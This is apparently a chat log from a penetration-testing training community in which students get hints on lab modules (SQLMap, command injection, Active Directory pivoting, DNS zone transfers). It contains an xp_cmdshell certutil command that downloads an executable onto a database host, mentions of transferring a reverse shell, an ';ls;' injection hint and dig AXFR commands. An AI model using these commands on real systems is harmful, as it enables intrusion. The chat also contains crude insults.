as staff that work on academy content will see it

and adjust as needed

¯_(ツ)_/¯

[spark charm]

yeah i will be happy if i give them some little help

[fathom pendant]

it seems important if you need a staff to see it right away

but staff sometimes sleep

[spark charm]

no it's not that import

[fathom pendant]

#1234357888114364508 is a place for the correction to not get drowned out either

well it was important enough to come ask for someone

so you might not be the first who thought of it

¯_(ツ)_/¯

[meager palm]

hey I dont have permission in any other channel any idea why?

[fathom pendant]

read and follow #welcome

[meager palm]

thx

[fathom pendant]

drop it in #1234357888114364508 not here

as it will likely get drowned out here

[spark charm]

done

thnx bro

[hexed oyster]

Anyone have some time to chat about SQLMap Essentials? I'm working on "question 7" and I'm not figuring out how to get SQLMap to find the vulnerability.

[mellow shell]

same here, still waiting support (Stephan)

[fathom pendant]

¯_(ツ)_/¯

all I can say is be patient

once support resolves they'll reach back out to you

[hexed oyster]

and... creeped myself out...

[fathom pendant]

https://tenor.com/view/played-gif-13534492

[hexed oyster]

https://tenor.com/view/김순지-kim-soonji-streamer-korean-streamer-afreeca-gif-23693710

yep, not the first time. won't be the last.

[unkempt ether]

@dim wolf this is my outcome

[smoky pumice]

Hey I was stuck on this for a little while today too. I saw you didn't get any real good help yet. Here is a nudge, first thing I did was turn off the other filters from the section. Then refresh the page and intercept a ping for say the number 1. See where that ends up and create a regex filter to always change that to ;ls; like the instructions say. DM me if this doesn't help. Cheers!

[fathom pendant]

my guy that was from 2 months ago

i'd really hope they figured it out by now

[smoky pumice]

Me too but I was just trying to help the guy in the future like me that knows it is easier than what they are making it in their head and just needs a nudge since I couldn't find that anywhere.

[little bear]

Wacky moment: I definitely have the right command but no matter the transfer tool that was attempted (certutil, copy, wget, curl) it doesnt succeed

Would the data perhaps fail to transfer for untrusted reasons? I'm nearing the end of ideas

Hmmm......

For context, this is skills assessment II in ad enum/attacks (I skipped this for issues Ive had with spawning)

[fathom pendant]

try changing to EU vpn

or changing VPN regions in general

see if that resolves your issue

[little bear]

Right.. I wonder though-- if it's "internal" (the virtualized network being pentested) per se would the vpn still have any affect against file transfer and cmd execution? Ill definitely try that. Still open to ideas to help nudge along the way

[fathom pendant]

it could be that the target spawned on that vpn isn't spawning the internal network properly

[little bear]

For clarification, I refer to 10.129.x.x ft to172.16.x.x.

[fathom pendant]

well

[little bear]

True

[fathom pendant]

i hate to burst your bubble

[little bear]

Pls do

[fathom pendant]

but do you have a connection to that 172 network?

[little bear]

Im dying to know LOL

[fathom pendant]

oh wait misread

but also

are you calling the file transfer to the 10.129 address?

or are you using the matching 172.16 host address of the jump host

:)

aka are you trying to file download to one by calling certutil/wget on the 10.129 address

if so... network

[little bear]

Great questions! So Ive scp'd revshell and lpe exe to the 10.129.x.x for ft into the 172.16.x.x SQL01 host via python or impacket-smb and certutil or smb/http methods. Certutil executes but no data transfers (Im wondering if its an auth issue based on some unique stdout). Most other ft methods hang like curl, wget, etc

[cloud urchin]

we'd need to know some basic info, like your syntax, if you can ping/rdp in etc

[little bear]

Im cracked on caffeine, scuse the typing

[fathom pendant]

again

syntax

from the SQL01 host

are you trying to call the jump host's 10.129 address

or its 172.16 address

[little bear]

The internal nic ip (172) because the SQL01 isnt able to reach the external ip of skills-par01

Syntax as follows:
#certutil: SQL> xp_cmdshell certutil[.exe] -urlcache -split -f http://172.x.x.x:<port>/filename.exe C:\writeable\path\filename.exe

Notes: various combinations have been attempted like added/removed quotes around url and outout to file, params/options added removed, etc

Every attempt has been with xp_cmdshell

[cloud urchin]

there's a lot wrong there

first we still don't know how you're remoting into the pivot host

[little bear]

Im all ears

Rdp or ssh

[cloud urchin]

second we don't know what box you're exucuting this on, what you're targeting

[smoky pumice]

I just ran into this a couple days ago believe it or not the issue is the VPN it has to be one of the EU ones the US ones won’t work no matter what you try.

[cloud urchin]

we need to see the actual real command, not obfuscated

[fathom pendant]

as said earlier

[cloud urchin]

certutil doesn't start with # or end with :

[little bear]

....

[fathom pendant]

i think they're marking when they started their certutil command

[little bear]

Ye

[fathom pendant]

but they're too cracked out on energy drinks to realize that makes it more confusing

[cloud urchin]

you can't paste either of those commands in and expect them to work

[little bear]

Double ye lmao

[cloud urchin]

like i said, we need to see the commands, what your targets are, how you're pivoted in

[little bear]

Im typing from mobile

[fathom pendant]

either way

try changing to an EU vpn

and seeing if that fixes the issue

as I stated way earlier

fuckin crackhead

[little bear]

Lmfao will do Marcie. I really appreciate the input

[fathom pendant]

you're trying to think of 20 things at once, which isn't helping

slow it the fuck down

[little bear]

Brb

Also SuperNuts, I appreciate the assistance as well. Im usually better with cmd syntax to help other assist me, so I appreciate everyones input and patience.

[cloud urchin]

ya sorry we just need more info to really give good help

[little bear]

Ye ik
Ill do my best! Just waiting for the vpn region to switch atm. Answering your questions in the meantime, The SQL01 is recieving command input from skill-par01 via mssqlclient. py using xp_cmdshell. Im able to rdp into MS01 via rdp into skillspar01 or proxychains with ssh -D 9050 etc. Im targeting the SQL01 to gain a revshell as either admin/system <snip>

[fathom pendant]

you crackhead typed this out

[little bear]

I did I did lmao

[fathom pendant]

you can easily say this with a lot less words

ssh/rdp to jump host; connected to SQL01 via mssqlclient

that's literally the 2 important bits

we don't care about MS01 for this

[little bear]

That was a crackhead oops

[fathom pendant]

again slow it down

take time

[little bear]

Sigh still waiting for target spawn

[analog ferry]

i am stuck at foot printing — dns

[fathom pendant]

what have you tried so far; what has you stuck

saying your stuck doesn't magically make us know what's troubling you

if you have the answer to the txt question, you can answer the other questions

[analog ferry]

second question. zone transfer. i have tried axfr but it doesn’t seem to be working

[fathom pendant]

dig axfr domain @nameserver/ip

if you have the nameserver in your /etc/hosts it may help, but it's not necessary

this can all be done without editing your /etc/hosts

[fathom pendant]

doesn't seem to be working isn't a valid error 😉

if you look you can see if it's trying to query a public nameserver or not

since .htb isn't a valid tld, it'll fail out

[analog ferry]

aah got it so dig axfr inlanefeirght@ip

[fathom pendant]

spaces

they are important

inlanefreight.htb

btw

[analog ferry]

yes

will try and let you know thanks

i didn’t put the space between the domain and @

[fathom pendant]

👍

also when in doubt just try everything (you'll understand for the next questions)

[hearty epoch]

nice